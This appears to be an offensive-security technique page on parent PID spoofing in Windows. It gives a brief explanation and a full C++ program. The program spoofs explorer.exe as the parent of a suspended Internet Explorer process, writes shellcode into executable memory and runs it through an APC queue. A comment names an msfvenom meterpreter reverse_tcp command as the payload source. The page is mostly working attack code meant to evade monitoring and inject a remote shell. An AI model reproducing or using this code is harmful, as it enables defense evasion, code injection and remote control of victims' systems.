Parent PID Spoofing

You can spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.

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Code Snippets

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD getParentProcessID() {
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 process = { 0 };
	process.dwSize = sizeof(process);

	if (Process32First(snapshot, &process)) {
		do {
            		//If you want to another process as parent change here
			if (!wcscmp(process.szExeFile, L"explorer.exe"))
				break;
		} while (Process32Next(snapshot, &process));
	}

	CloseHandle(snapshot);
	return process.th32ProcessID;
}

int main() {

	//Shellcode, for example; msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x EXITFUNC=thread -f c
	unsigned char shellCode[] = "";

	STARTUPINFOEXA sInfoEX;
	PROCESS_INFORMATION pInfo;
	SIZE_T sizeT;

	HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());

	ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
	InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
	sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
	InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
	UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);
	sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo);

	LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	SIZE_T *lpNumberOfBytesWritten = 0;
	BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);

	QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
	ResumeThread(pInfo.hThread);
	CloseHandle(pInfo.hThread);

	return 0;
}

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